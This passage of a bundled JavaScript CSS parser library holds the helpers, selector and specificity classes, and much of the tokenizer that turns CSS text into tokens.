4204 return String.fromCodePoint(codePoint);
4205 } else {
4206 // XXX No support for surrogates on old JavaScript engines.
4207 return String.fromCharCode(codePoint);
4208 }
4209 }
4210 return esc;
4211 };
4212 return str.replace(/\\(\r\n|[^\r0-9a-f]|[0-9a-f]{1,6}(\r\n|[ \n\r\t\f])?)/ig,
4213 replacer);
4214};
4215
4216/**
4217 * Helper method to serialize a CSS string.
4218 */
4219PropertyValuePart.serializeString = function(value) {
4220 var replacer = function(match, c) {
4221 if (c === "\"") {
4222 return "\\" + c;
4223 }
4224 var cp = String.codePointAt ? String.codePointAt(0) :
4225 // We only escape non-surrogate chars, so using charCodeAt
4226 // is harmless here.
4227 String.charCodeAt(0);
4228 return "\\" + cp.toString(16) + " ";
4229 };
4230 return "\"" + value.replace(/["\r\n\f]/g, replacer) + "\"";
4231};
4232
4233/**
4234 * Create a new syntax unit based solely on the given token.
4235 * Convenience method for creating a new syntax unit when
4236 * it represents a single token instead of multiple.
4237 * @param {Object} token The token object to represent.
4238 * @return {parserlib.css.PropertyValuePart} The object representing the token.
4239 * @static
4240 * @method fromToken
4241 */
4242PropertyValuePart.fromToken = function(token) {
4243 var part = new PropertyValuePart(token.value, token.startLine, token.startCol, {
4244 // Tokens can have escaped characters that would fool the type
4245 // identification in the PropertyValuePart constructor, so pass
4246 // in a hint if this was an identifier.
4247 ident: token.type === Tokens.IDENT
4248 });
4249 return part;
4250};
4251
4252},{"../util/SyntaxUnit":26,"./Colors":1,"./Parser":6,"./Tokens":18}],12:[function(require,module,exports){
4253"use strict";
4254
4255var Pseudos = module.exports = {
4256 __proto__: null,
4257 ":first-letter": 1,
4258 ":first-line": 1,
4259 ":before": 1,
4260 ":after": 1
4261};
4262
4263Pseudos.ELEMENT = 1;
4264Pseudos.CLASS = 2;
4265
4266Pseudos.isElement = function(pseudo) {
4267 return pseudo.indexOf("::") === 0 || Pseudos[pseudo.toLowerCase()] === Pseudos.ELEMENT;
4268};
4269
4270},{}],13:[function(require,module,exports){
4271"use strict";
4272
4273module.exports = Selector;
4274
4275var SyntaxUnit = require("../util/SyntaxUnit");
4276
4277var Parser = require("./Parser");
4278var Specificity = require("./Specificity");
4279
4280/**
4281 * Represents an entire single selector, including all parts but not
4282 * including multiple selectors (those separated by commas).
4283 * @namespace parserlib.css
4284 * @class Selector
4285 * @extends parserlib.util.SyntaxUnit
4286 * @constructor
4287 * @param {Array} parts Array of selectors parts making up this selector.
4288 * @param {int} line The line of text on which the unit resides.
4289 * @param {int} col The column of text on which the unit resides.
4290 */
4291function Selector(parts, line, col) {
4292
4293 SyntaxUnit.call(this, parts.join(" "), line, col, Parser.SELECTOR_TYPE);
4294
4295 /**
4296 * The parts that make up the selector.
4297 * @type Array
4298 * @property parts
4299 */
4300 this.parts = parts;
4301
4302 /**
4303 * The specificity of the selector.
4304 * @type parserlib.css.Specificity
4305 * @property specificity
4306 */
4307 this.specificity = Specificity.calculate(this);
4308
4309}
4310
4311Selector.prototype = new SyntaxUnit();
4312Selector.prototype.constructor = Selector;
4313
4314
4315},{"../util/SyntaxUnit":26,"./Parser":6,"./Specificity":16}],14:[function(require,module,exports){
4316"use strict";
4317
4318module.exports = SelectorPart;
4319
4320var SyntaxUnit = require("../util/SyntaxUnit");
4321
4322var Parser = require("./Parser");
4323
4324/**
4325 * Represents a single part of a selector string, meaning a single set of
4326 * element name and modifiers. This does not include combinators such as
4327 * spaces, +, >, etc.
4328 * @namespace parserlib.css
4329 * @class SelectorPart
4330 * @extends parserlib.util.SyntaxUnit
4331 * @constructor
4332 * @param {String} elementName The element name in the selector or null
4333 * if there is no element name.
4334 * @param {Array} modifiers Array of individual modifiers for the element.
4335 * May be empty if there are none.
4336 * @param {String} text The text representation of the unit.
4337 * @param {int} line The line of text on which the unit resides.
4338 * @param {int} col The column of text on which the unit resides.
4339 */
4340function SelectorPart(elementName, modifiers, text, line, col) {
4341
4342 SyntaxUnit.call(this, text, line, col, Parser.SELECTOR_PART_TYPE);
4343
4344 /**
4345 * The tag name of the element to which this part
4346 * of the selector affects.
4347 * @type String
4348 * @property elementName
4349 */
4350 this.elementName = elementName;
4351
4352 /**
4353 * The parts that come after the element name, such as class names, IDs,
4354 * pseudo classes/elements, etc.
4355 * @type Array
4356 * @property modifiers
4357 */
4358 this.modifiers = modifiers;
4359
4360}
4361
4362SelectorPart.prototype = new SyntaxUnit();
4363SelectorPart.prototype.constructor = SelectorPart;
4364
4365
4366},{"../util/SyntaxUnit":26,"./Parser":6}],15:[function(require,module,exports){
4367"use strict";
4368
4369module.exports = SelectorSubPart;
4370
4371var SyntaxUnit = require("../util/SyntaxUnit");
4372
4373var Parser = require("./Parser");
4374
4375/**
4376 * Represents a selector modifier string, meaning a class name, element name,
4377 * element ID, pseudo rule, etc.
4378 * @namespace parserlib.css
4379 * @class SelectorSubPart
4380 * @extends parserlib.util.SyntaxUnit
4381 * @constructor
4382 * @param {String} text The text representation of the unit.
4383 * @param {String} type The type of selector modifier.
4384 * @param {int} line The line of text on which the unit resides.
4385 * @param {int} col The column of text on which the unit resides.
4386 */
4387function SelectorSubPart(text, type, line, col) {
4388
4389 SyntaxUnit.call(this, text, line, col, Parser.SELECTOR_SUB_PART_TYPE);
4390
4391 /**
4392 * The type of modifier.
4393 * @type String
4394 * @property type
4395 */
4396 this.type = type;
4397
4398 /**
4399 * Some subparts have arguments, this represents them.
4400 * @type Array
4401 * @property args
4402 */
4403 this.args = [];
4404
4405}
4406
4407SelectorSubPart.prototype = new SyntaxUnit();
4408SelectorSubPart.prototype.constructor = SelectorSubPart;
4409
4410
4411},{"../util/SyntaxUnit":26,"./Parser":6}],16:[function(require,module,exports){
4412"use strict";
4413
4414module.exports = Specificity;
4415
4416var Pseudos = require("./Pseudos");
4417var SelectorPart = require("./SelectorPart");
4418
4419/**
4420 * Represents a selector's specificity.
4421 * @namespace parserlib.css
4422 * @class Specificity
4423 * @constructor
4424 * @param {int} a Should be 1 for inline styles, zero for stylesheet styles
4425 * @param {int} b Number of ID selectors
4426 * @param {int} c Number of classes and pseudo classes
4427 * @param {int} d Number of element names and pseudo elements
4428 */
4429function Specificity(a, b, c, d) {
4430 this.a = a;
4431 this.b = b;
4432 this.c = c;
4433 this.d = d;
4434}
4435
4436Specificity.prototype = {
4437 constructor: Specificity,
4438
4439 /**
4440 * Compare this specificity to another.
4441 * @param {Specificity} other The other specificity to compare to.
4442 * @return {int} -1 if the other specificity is larger, 1 if smaller, 0 if equal.
4443 * @method compare
4444 */
4445 compare: function(other) {
4446 var comps = ["a", "b", "c", "d"],
4447 i, len;
4448
4449 for (i=0, len=comps.length; i < len; i++) {
4450 if (this[comps[i]] < other[comps[i]]) {
4451 return -1;
4452 } else if (this[comps[i]] > other[comps[i]]) {
4453 return 1;
4454 }
4455 }
4456
4457 return 0;
4458 },
4459
4460 /**
4461 * Creates a numeric value for the specificity.
4462 * @return {int} The numeric value for the specificity.
4463 * @method valueOf
4464 */
4465 valueOf: function() {
4466 return (this.a * 1000) + (this.b * 100) + (this.c * 10) + this.d;
4467 },
4468
4469 /**
4470 * Returns a string representation for specificity.
4471 * @return {String} The string representation of specificity.
4472 * @method toString
4473 */
4474 toString: function() {
4475 return this.a + "," + this.b + "," + this.c + "," + this.d;
4476 }
4477
4478};
4479
4480/**
4481 * Calculates the specificity of the given selector.
4482 * @param {parserlib.css.Selector} The selector to calculate specificity for.
4483 * @return {parserlib.css.Specificity} The specificity of the selector.
4484 * @static
4485 * @method calculate
4486 */
4487Specificity.calculate = function(selector) {
4488
4489 var i, len,
4490 part,
4491 b=0, c=0, d=0;
4492
4493 function updateValues(part) {
4494
4495 var i, j, len, num,
4496 elementName = part.elementName ? part.elementName.text : "",
4497 modifier;
4498
4499 if (elementName && elementName.charAt(elementName.length-1) !== "*") {
4500 d++;
4501 }
4502
4503 for (i=0, len=part.modifiers.length; i < len; i++) {
4504 modifier = part.modifiers[i];
4505 switch (modifier.type) {
4506 case "class":
4507 case "attribute":
4508 c++;
4509 break;
4510
4511 case "id":
4512 b++;
4513 break;
4514
4515 case "pseudo":
4516 if (Pseudos.isElement(modifier.text)) {
4517 d++;
4518 } else {
4519 c++;
4520 }
4521 break;
4522
4523 case "not":
4524 for (j=0, num=modifier.args.length; j < num; j++) {
4525 updateValues(modifier.args[j]);
4526 }
4527 }
4528 }
4529 }
4530
4531 for (i=0, len=selector.parts.length; i < len; i++) {
4532 part = selector.parts[i];
4533
4534 if (part instanceof SelectorPart) {
4535 updateValues(part);
4536 }
4537 }
4538
4539 return new Specificity(0, b, c, d);
4540};
4541
4542},{"./Pseudos":12,"./SelectorPart":14}],17:[function(require,module,exports){
4543"use strict";
4544
4545module.exports = TokenStream;
4546
4547var TokenStreamBase = require("../util/TokenStreamBase");
4548
4549var PropertyValuePart = require("./PropertyValuePart");
4550var Tokens = require("./Tokens");
4551
4552var h = /^[0-9a-fA-F]$/,
4553 nonascii = /^[\u00A0-\uFFFF]$/,
4554 nl = /\n|\r\n|\r|\f/,
4555 whitespace = /\u0009|\u000a|\u000c|\u000d|\u0020/;
4556
4557//-----------------------------------------------------------------------------
4558// Helper functions
4559//-----------------------------------------------------------------------------
4560
4561
4562function isHexDigit(c) {
4563 return c !== null && h.test(c);
4564}
4565
4566function isDigit(c) {
4567 return c !== null && /\d/.test(c);
4568}
4569
4570function isWhitespace(c) {
4571 return c !== null && whitespace.test(c);
4572}
4573
4574function isNewLine(c) {
4575 return c !== null && nl.test(c);
4576}
4577
4578function isNameStart(c) {
4579 return c !== null && /[a-z_\u00A0-\uFFFF\\]/i.test(c);
4580}
4581
4582function isNameChar(c) {
4583 return c !== null && (isNameStart(c) || /[0-9\-\\]/.test(c));
4584}
4585
4586function isIdentStart(c) {
4587 return c !== null && (isNameStart(c) || /\-\\/.test(c));
4588}
4589
4590function mix(receiver, supplier) {
4591 for (var prop in supplier) {
4592 if (Object.prototype.hasOwnProperty.call(supplier, prop)) {
4593 receiver[prop] = supplier[prop];
4594 }
4595 }
4596 return receiver;
4597}
4598
4599//-----------------------------------------------------------------------------
4600// CSS Token Stream
4601//-----------------------------------------------------------------------------
4602
4603
4604/**
4605 * A token stream that produces CSS tokens.
4606 * @param {String|Reader} input The source of text to tokenize.
4607 * @constructor
4608 * @class TokenStream
4609 * @namespace parserlib.css
4610 */
4611function TokenStream(input) {
4612 TokenStreamBase.call(this, input, Tokens);
4613}
4614
4615TokenStream.prototype = mix(new TokenStreamBase(), {
4616
4617 /**
4618 * Overrides the TokenStreamBase method of the same name
4619 * to produce CSS tokens.
4620 * @return {Object} A token object representing the next token.
4621 * @method _getToken
4622 * @private
4623 */
4624 _getToken: function() {
4625
4626 var c,
4627 reader = this._reader,
4628 token = null,
4629 startLine = reader.getLine(),
4630 startCol = reader.getCol();
4631
4632 c = reader.read();
4633
4634
4635 while (c) {
4636 switch (c) {
4637
4638 /*
4639 * Potential tokens:
4640 * - COMMENT
4641 * - SLASH
4642 * - CHAR
4643 */
4644 case "/":
4645
4646 if (reader.peek() === "*") {
4647 token = this.commentToken(c, startLine, startCol);
4648 } else {
4649 token = this.charToken(c, startLine, startCol);
4650 }
4651 break;
4652
4653 /*
4654 * Potential tokens:
4655 * - DASHMATCH
4656 * - INCLUDES
4657 * - PREFIXMATCH
4658 * - SUFFIXMATCH
4659 * - SUBSTRINGMATCH
4660 * - CHAR
4661 */
4662 case "|":
4663 case "~":
4664 case "^":
4665 case "$":
4666 case "*":
4667 if (reader.peek() === "=") {
4668 token = this.comparisonToken(c, startLine, startCol);
4669 } else {
4670 token = this.charToken(c, startLine, startCol);
4671 }
4672 break;
4673
4674 /*
4675 * Potential tokens:
4676 * - STRING
4677 * - INVALID
4678 */
4679 case "\"":
4680 case "'":
4681 token = this.stringToken(c, startLine, startCol);
4682 break;
4683
4684 /*
4685 * Potential tokens:
4686 * - HASH
4687 * - CHAR
4688 */
4689 case "#":
4690 if (isNameChar(reader.peek())) {
4691 token = this.hashToken(c, startLine, startCol);
4692 } else {
4693 token = this.charToken(c, startLine, startCol);
4694 }
4695 break;
4696
4697 /*
4698 * Potential tokens:
4699 * - DOT
4700 * - NUMBER
4701 * - DIMENSION
4702 * - PERCENTAGE
4703 */
4704 case ".":
4705 if (isDigit(reader.peek())) {
4706 token = this.numberToken(c, startLine, startCol);
4707 } else {
4708 token = this.charToken(c, startLine, startCol);
4709 }
4710 break;
4711
4712 /*
4713 * Potential tokens:
4714 * - CDC
4715 * - MINUS
4716 * - NUMBER
4717 * - DIMENSION
4718 * - PERCENTAGE
4719 */
4720 case "-":
4721 if (reader.peek() === "-") { //could be closing HTML-style comment
4722 token = this.htmlCommentEndToken(c, startLine, startCol);
4723 } else if (isNameStart(reader.peek())) {
4724 token = this.identOrFunctionToken(c, startLine, startCol);
4725 } else {
4726 token = this.charToken(c, startLine, startCol);
4727 }
4728 break;
4729
4730 /*
4731 * Potential tokens:
4732 * - IMPORTANT_SYM
4733 * - CHAR
4734 */
4735 case "!":
4736 token = this.importantToken(c, startLine, startCol);
4737 break;
4738
4739 /*
4740 * Any at-keyword or CHAR
4741 */
4742 case "@":
4743 token = this.atRuleToken(c, startLine, startCol);
4744 break;
4745
4746 /*
4747 * Potential tokens:
4748 * - NOT
4749 * - CHAR
4750 */
4751 case ":":
4752 token = this.notToken(c, startLine, startCol);
4753 break;
4754
4755 /*
4756 * Potential tokens:
4757 * - CDO
4758 * - CHAR
4759 */
4760 case "<":
4761 token = this.htmlCommentStartToken(c, startLine, startCol);
4762 break;
4763
4764 /*
4765 * Potential tokens:
4766 * - IDENT
4767 * - CHAR
4768 */
4769 case "\\":
4770 if (/[^\r\n\f]/.test(reader.peek())) {
4771 token = this.identOrFunctionToken(this.readEscape(c, true), startLine, startCol);
4772 } else {
4773 token = this.charToken(c, startLine, startCol);
4774 }
4775 break;
4776
4777 /*
4778 * Potential tokens:
4779 * - UNICODE_RANGE
4780 * - URL
4781 * - CHAR
4782 */
4783 case "U":
4784 case "u":
4785 if (reader.peek() === "+") {
4786 token = this.unicodeRangeToken(c, startLine, startCol);
4787 break;
4788 }
4789 /* falls through */
4790 default:
4791
4792 /*
4793 * Potential tokens:
4794 * - NUMBER
4795 * - DIMENSION
4796 * - LENGTH
4797 * - FREQ
4798 * - TIME
4799 * - EMS
4800 * - EXS
4801 * - ANGLE
4802 */
4803 if (isDigit(c)) {
4804 token = this.numberToken(c, startLine, startCol);
4805 } else
4806
4807 /*
4808 * Potential tokens:
4809 * - S
4810 */
4811 if (isWhitespace(c)) {
4812 token = this.whitespaceToken(c, startLine, startCol);
4813 } else
4814
4815 /*
4816 * Potential tokens:
4817 * - IDENT
4818 */
4819 if (isIdentStart(c)) {
4820 token = this.identOrFunctionToken(c, startLine, startCol);
4821 } else {
4822 /*
4823 * Potential tokens:
4824 * - CHAR
4825 * - PLUS
4826 */
4827 token = this.charToken(c, startLine, startCol);
4828 }
4829
4830 }
4831
4832 //make sure this token is wanted
4833 //TODO: check channel
4834 break;
4835 }
4836
4837 if (!token && c === null) {
4838 token = this.createToken(Tokens.EOF, null, startLine, startCol);
4839 }
4840
4841 return token;
4842 },
4843
4844 //-------------------------------------------------------------------------
4845 // Methods to create tokens
4846 //-------------------------------------------------------------------------
4847
4848 /**
4849 * Produces a token based on available data and the current
4850 * reader position information. This method is called by other
4851 * private methods to create tokens and is never called directly.
4852 * @param {int} tt The token type.
4853 * @param {String} value The text value of the token.
4854 * @param {int} startLine The beginning line for the character.
4855 * @param {int} startCol The beginning column for the character.
4856 * @param {Object} options (Optional) Specifies a channel property
4857 * to indicate that a different channel should be scanned
4858 * and/or a hide property indicating that the token should
4859 * be hidden.
4860 * @return {Object} A token object.
4861 * @method createToken
4862 */
4863 createToken: function(tt, value, startLine, startCol, options) {
4864 var reader = this._reader;
4865 options = options || {};
4866
4867 return {
4868 value: value,
4869 type: tt,
4870 channel: options.channel,
4871 endChar: options.endChar,
4872 hide: options.hide || false,
4873 startLine: startLine,
4874 startCol: startCol,
4875 endLine: reader.getLine(),
4876 endCol: reader.getCol()
4877 };
4878 },
4879
4880 //-------------------------------------------------------------------------
4881 // Methods to create specific tokens
4882 //-------------------------------------------------------------------------
4883
4884 /**
4885 * Produces a token for any at-rule. If the at-rule is unknown, then
4886 * the token is for a single "@" character.
4887 * @param {String} first The first character for the token.
4888 * @param {int} startLine The beginning line for the character.
4889 * @param {int} startCol The beginning column for the character.
4890 * @return {Object} A token object.
4891 * @method atRuleToken
4892 */
4893 atRuleToken: function(first, startLine, startCol) {
4894 var rule = first,
4895 reader = this._reader,
4896 tt = Tokens.CHAR,
4897 ident;
4898
4899 /*
4900 * First, mark where we are. There are only four @ rules,
4901 * so anything else is really just an invalid token.
4902 * Basically, if this doesn't match one of the known @
4903 * rules, just return '@' as an unknown token and allow
4904 * parsing to continue after that point.
4905 */
4906 reader.mark();
4907
4908 //try to find the at-keyword
4909 ident = this.readName();
4910 rule = first + ident;
4911 tt = Tokens.type(rule.toLowerCase());
4912
4913 //if it's not valid, use the first character only and reset the reader
4914 if (tt === Tokens.CHAR || tt === Tokens.UNKNOWN) {
4915 if (rule.length > 1) {
4916 tt = Tokens.UNKNOWN_SYM;
4917 } else {
4918 tt = Tokens.CHAR;
4919 rule = first;
4920 reader.reset();
4921 }
4922 }
4923
4924 return this.createToken(tt, rule, startLine, startCol);
4925 },
4926
4927 /**
4928 * Produces a character token based on the given character
4929 * and location in the stream. If there's a special (non-standard)
4930 * token name, this is used; otherwise CHAR is used.
4931 * @param {String} c The character for the token.
4932 * @param {int} startLine The beginning line for the character.
4933 * @param {int} startCol The beginning column for the character.
4934 * @return {Object} A token object.
4935 * @method charToken
4936 */
4937 charToken: function(c, startLine, startCol) {
4938 var tt = Tokens.type(c);
4939 var opts = {};
4940
4941 if (tt === -1) {
4942 tt = Tokens.CHAR;
4943 } else {
4944 opts.endChar = Tokens[tt].endChar;
4945 }
4946
4947 return this.createToken(tt, c, startLine, startCol, opts);
4948 },
4949
4950 /**
4951 * Produces a character token based on the given character
4952 * and location in the stream. If there's a special (non-standard)
4953 * token name, this is used; otherwise CHAR is used.
4954 * @param {String} first The first character for the token.
4955 * @param {int} startLine The beginning line for the character.
4956 * @param {int} startCol The beginning column for the character.
4957 * @return {Object} A token object.
4958 * @method commentToken
4959 */
4960 commentToken: function(first, startLine, startCol) {
4961 var comment = this.readComment(first);
4962
4963 return this.createToken(Tokens.COMMENT, comment, startLine, startCol);
4964 },
4965
4966 /**
4967 * Produces a comparison token based on the given character
4968 * and location in the stream. The next character must be
4969 * read and is already known to be an equals sign.
4970 * @param {String} c The character for the token.
4971 * @param {int} startLine The beginning line for the character.
4972 * @param {int} startCol The beginning column for the character.
4973 * @return {Object} A token object.
4974 * @method comparisonToken
4975 */
4976 comparisonToken: function(c, startLine, startCol) {
4977 var reader = this._reader,
4978 comparison = c + reader.read(),
4979 tt = Tokens.type(comparison) || Tokens.CHAR;
4980
4981 return this.createToken(tt, comparison, startLine, startCol);
4982 },
4983
4984 /**
4985 * Produces a hash token based on the specified information. The
4986 * first character provided is the pound sign (#) and then this
4987 * method reads a name afterward.
4988 * @param {String} first The first character (#) in the hash name.
4989 * @param {int} startLine The beginning line for the character.
4990 * @param {int} startCol The beginning column for the character.
4991 * @return {Object} A token object.
4992 * @method hashToken
4993 */
4994 hashToken: function(first, startLine, startCol) {
4995 var name = this.readName(first);
4996
4997 return this.createToken(Tokens.HASH, name, startLine, startCol);
4998 },
4999
5000 /**
5001 * Produces a CDO or CHAR token based on the specified information. The
5002 * first character is provided and the rest is read by the function to determine
5003 * the correct token to create.
5004 * @param {String} first The first character in the token.
5005 * @param {int} startLine The beginning line for the character.
5006 * @param {int} startCol The beginning column for the character.
5007 * @return {Object} A token object.
5008 * @method htmlCommentStartToken
5009 */
5010 htmlCommentStartToken: function(first, startLine, startCol) {
5011 var reader = this._reader,
5012 text = first;
5013
5014 reader.mark();
5015 text += reader.readCount(3);
5016
5017 if (text === "<!--") {
5018 return this.createToken(Tokens.CDO, text, startLine, startCol);
5019 } else {
5020 reader.reset();
5021 return this.charToken(first, startLine, startCol);
5022 }
5023 },
5024
5025 /**
5026 * Produces a CDC or CHAR token based on the specified information. The
5027 * first character is provided and the rest is read by the function to determine
5028 * the correct token to create.
5029 * @param {String} first The first character in the token.
5030 * @param {int} startLine The beginning line for the character.
5031 * @param {int} startCol The beginning column for the character.
5032 * @return {Object} A token object.
5033 * @method htmlCommentEndToken
5034 */
5035 htmlCommentEndToken: function(first, startLine, startCol) {
5036 var reader = this._reader,
5037 text = first;
5038
5039 reader.mark();
5040 text += reader.readCount(2);
5041
5042 if (text === "-->") {
5043 return this.createToken(Tokens.CDC, text, startLine, startCol);
5044 } else {
5045 reader.reset();
5046 return this.charToken(first, startLine, startCol);
5047 }
5048 },
5049
5050 /**
5051 * Produces an IDENT or FUNCTION token based on the specified information. The
5052 * first character is provided and the rest is read by the function to determine
5053 * the correct token to create.
5054 * @param {String} first The first character in the identifier.
5055 * @param {int} startLine The beginning line for the character.
5056 * @param {int} startCol The beginning column for the character.
5057 * @return {Object} A token object.
5058 * @method identOrFunctionToken
5059 */
5060 identOrFunctionToken: function(first, startLine, startCol) {
5061 var reader = this._reader,
5062 ident = this.readName(first),
5063 tt = Tokens.IDENT,
5064 uriFns = ["url(", "url-prefix(", "domain("],
5065 uri;
5066
5067 //if there's a left paren immediately after, it's a URI or function
5068 if (reader.peek() === "(") {
5069 ident += reader.read();
5070 if (uriFns.indexOf(ident.toLowerCase()) > -1) {
5071 reader.mark();
5072 uri = this.readURI(ident);
5073 if (uri === null) {
5074 //didn't find a valid URL or there's no closing paren
5075 reader.reset();
5076 tt = Tokens.FUNCTION;
5077 } else {
5078 tt = Tokens.URI;
5079 ident = uri;
5080 }
5081 } else {
5082 tt = Tokens.FUNCTION;
5083 }
5084 } else if (reader.peek() === ":") { //might be an IE function
5085
5086 //IE-specific functions always being with progid:
5087 if (ident.toLowerCase() === "progid") {
5088 ident += reader.readTo("(");
5089 tt = Tokens.IE_FUNCTION;
5090 }
5091 }
5092
5093 return this.createToken(tt, ident, startLine, startCol);
5094 },
5095
5096 /**
5097 * Produces an IMPORTANT_SYM or CHAR token based on the specified information. The
5098 * first character is provided and the rest is read by the function to determine
5099 * the correct token to create.
5100 * @param {String} first The first character in the token.
5101 * @param {int} startLine The beginning line for the character.
5102 * @param {int} startCol The beginning column for the character.
5103 * @return {Object} A token object.
5104 * @method importantToken
5105 */
5106 importantToken: function(first, startLine, startCol) {
5107 var reader = this._reader,
5108 important = first,
5109 tt = Tokens.CHAR,
5110 temp,
5111 c;
5112
5113 reader.mark();
5114 c = reader.read();
5115
5116 while (c) {
5117
5118 //there can be a comment in here
5119 if (c === "/") {
5120
5121 //if the next character isn't a star, then this isn't a valid !important token
5122 if (reader.peek() !== "*") {
5123 break;
5124 } else {
5125 temp = this.readComment(c);
5126 if (temp === "") { //broken!
5127 break;
5128 }
5129 }
5130 } else if (isWhitespace(c)) {
5131 important += c + this.readWhitespace();
5132 } else if (/i/i.test(c)) {
5133 temp = reader.readCount(8);
5134 if (/mportant/i.test(temp)) {
5135 important += c + temp;
5136 tt = Tokens.IMPORTANT_SYM;
5137
5138 }
5139 break; //we're done
5140 } else {
5141 break;
5142 }
5143
5144 c = reader.read();
5145 }
5146
5147 if (tt === Tokens.CHAR) {
5148 reader.reset();
5149 return this.charToken(first, startLine, startCol);
5150 } else {
5151 return this.createToken(tt, important, startLine, startCol);
5152 }
5153
5154
5155 },
5156
5157 /**
5158 * Produces a NOT or CHAR token based on the specified information. The
5159 * first character is provided and the rest is read by the function to determine
5160 * the correct token to create.
5161 * @param {String} first The first character in the token.
5162 * @param {int} startLine The beginning line for the character.
5163 * @param {int} startCol The beginning column for the character.
5164 * @return {Object} A token object.
5165 * @method notToken
5166 */
5167 notToken: function(first, startLine, startCol) {
5168 var reader = this._reader,
5169 text = first;
5170
5171 reader.mark();
5172 text += reader.readCount(4);
5173
5174 if (text.toLowerCase() === ":not(") {
5175 return this.createToken(Tokens.NOT, text, startLine, startCol);
5176 } else {
5177 reader.reset();
5178 return this.charToken(first, startLine, startCol);
5179 }
5180 },
5181
5182 /**
5183 * Produces a number token based on the given character
5184 * and location in the stream. This may return a token of
5185 * NUMBER, EMS, EXS, LENGTH, ANGLE, TIME, FREQ, DIMENSION,
5186 * or PERCENTAGE.
5187 * @param {String} first The first character for the token.
5188 * @param {int} startLine The beginning line for the character.
5189 * @param {int} startCol The beginning column for the character.
5190 * @return {Object} A token object.
5191 * @method numberToken
5192 */
5193 numberToken: function(first, startLine, startCol) {
5194 var reader = this._reader,
5195 value = this.readNumber(first),
5196 ident,
5197 tt = Tokens.NUMBER,
5198 c = reader.peek();
5199
5200 if (isIdentStart(c)) {
5201 ident = this.readName(reader.read());
5202 value += ident;
5203
5204 if (/^em$|^ex$|^px$|^gd$|^rem$|^vw$|^vh$|^vmax$|^vmin$|^ch$|^cm$|^mm$|^in$|^pt$|^pc$/i.test(ident)) {
5205 tt = Tokens.LENGTH;
5206 } else if (/^deg|^rad$|^grad$|^turn$/i.test(ident)) {
5207 tt = Tokens.ANGLE;
5208 } else if (/^ms$|^s$/i.test(ident)) {
5209 tt = Tokens.TIME;
5210 } else if (/^hz$|^khz$/i.test(ident)) {
5211 tt = Tokens.FREQ;
5212 } else if (/^dpi$|^dpcm$/i.test(ident)) {
5213 tt = Tokens.RESOLUTION;
5214 } else {
5215 tt = Tokens.DIMENSION;
5216 }
5217
5218 } else if (c === "%") {
5219 value += reader.read();
5220 tt = Tokens.PERCENTAGE;
5221 }
5222
5223 return this.createToken(tt, value, startLine, startCol);
5224 },
5225
5226 /**
5227 * Produces a string token based on the given character
5228 * and location in the stream. Since strings may be indicated
5229 * by single or double quotes, a failure to match starting
5230 * and ending quotes results in an INVALID token being generated.
5231 * The first character in the string is passed in and then
5232 * the rest are read up to and including the final quotation mark.
5233 * @param {String} first The first character in the string.
5234 * @param {int} startLine The beginning line for the character.
5235 * @param {int} startCol The beginning column for the character.
5236 * @return {Object} A token object.
5237 * @method stringToken
5238 */
5239 stringToken: function(first, startLine, startCol) {
5240 var delim = first,
5241 string = first,
5242 reader = this._reader,
5243 tt = Tokens.STRING,
5244 c = reader.read(),
5245 i;
5246
5247 while (c) {
5248 string += c;
5249
5250 if (c === "\\") {
5251 c = reader.read();
5252 if (c === null) {
5253 break; // premature EOF after backslash
5254 } else if (/[^\r\n\f0-9a-f]/i.test(c)) {
5255 // single-character escape
5256 string += c;
5257 } else {
5258 // read up to six hex digits
5259 for (i=0; isHexDigit(c) && i<6; i++) {
5260 string += c;
5261 c = reader.read();
5262 }
5263 // swallow trailing newline or space
5264 if (c === "\r" && reader.peek() === "\n") {
5265 string += c;
5266 c = reader.read();
5267 }
5268 if (isWhitespace(c)) {
5269 string += c;
5270 } else {
5271 // This character is null or not part of the escape;
5272 // jump back to the top to process it.
5273 continue;
5274 }
5275 }
5276 } else if (c === delim) {
5277 break; // delimiter found.
5278 } else if (isNewLine(reader.peek())) {
5279 // newline without an escapement: it's an invalid string
5280 tt = Tokens.INVALID;
5281 break;
5282 }
5283 c = reader.read();
5284 }
5285
5286 //if c is null, that means we're out of input and the string was never closed
5287 if (c === null) {
5288 tt = Tokens.INVALID;
5289 }
5290
5291 return this.createToken(tt, string, startLine, startCol);
5292 },
5293
5294 unicodeRangeToken: function(first, startLine, startCol) {
5295 var reader = this._reader,
5296 value = first,
5297 temp,
5298 tt = Tokens.CHAR;
5299
5300 //then it should be a unicode range
5301 if (reader.peek() === "+") {
5302 reader.mark();
5303 value += reader.read();
5304 value += this.readUnicodeRangePart(true);
5305
5306 //ensure there's an actual unicode range here
5307 if (value.length === 2) {
5308 reader.reset();
5309 } else {
5310
5311 tt = Tokens.UNICODE_RANGE;
5312
5313 //if there's a ? in the first part, there can't be a second part
5314 if (value.indexOf("?") === -1) {
5315
5316 if (reader.peek() === "-") {
5317 reader.mark();
5318 temp = reader.read();
5319 temp += this.readUnicodeRangePart(false);
5320
5321 //if there's not another value, back up and just take the first
5322 if (temp.length === 1) {
5323 reader.reset();
5324 } else {
5325 value += temp;
5326 }
5327 }
5328
5329 }
5330 }
5331 }
5332
5333 return this.createToken(tt, value, startLine, startCol);
5334 },
5335
5336 /**
5337 * Produces a S token based on the specified information. Since whitespace
5338 * may have multiple characters, this consumes all whitespace characters
5339 * into a single token.
5340 * @param {String} first The first character in the token.
5341 * @param {int} startLine The beginning line for the character.
5342 * @param {int} startCol The beginning column for the character.
5343 * @return {Object} A token object.
5344 * @method whitespaceToken
5345 */
5346 whitespaceToken: function(first, startLine, startCol) {
5347 var value = first + this.readWhitespace();
5348 return this.createToken(Tokens.S, value, startLine, startCol);
5349 },
5350
5351
5352 //-------------------------------------------------------------------------
5353 // Methods to read values from the string stream
5354 //-------------------------------------------------------------------------
5355
5356 readUnicodeRangePart: function(allowQuestionMark) {
5357 var reader = this._reader,
5358 part = "",
5359 c = reader.peek();
5360
5361 //first read hex digits
5362 while (isHexDigit(c) && part.length < 6) {
5363 reader.read();
5364 part += c;
5365 c = reader.peek();
5366 }
5367
5368 //then read question marks if allowed
5369 if (allowQuestionMark) {
5370 while (c === "?" && part.length < 6) {
5371 reader.read();
5372 part += c;
5373 c = reader.peek();
5374 }
5375 }
5376
5377 //there can't be any other characters after this point
5378
5379 return part;
5380 },
5381
5382 readWhitespace: function() {
5383 var reader = this._reader,
5384 whitespace = "",
5385 c = reader.peek();
5386
5387 while (isWhitespace(c)) {
5388 reader.read();
5389 whitespace += c;
5390 c = reader.peek();
5391 }
5392
5393 return whitespace;
5394 },
5395 readNumber: function(first) {
5396 var reader = this._reader,
5397 number = first,
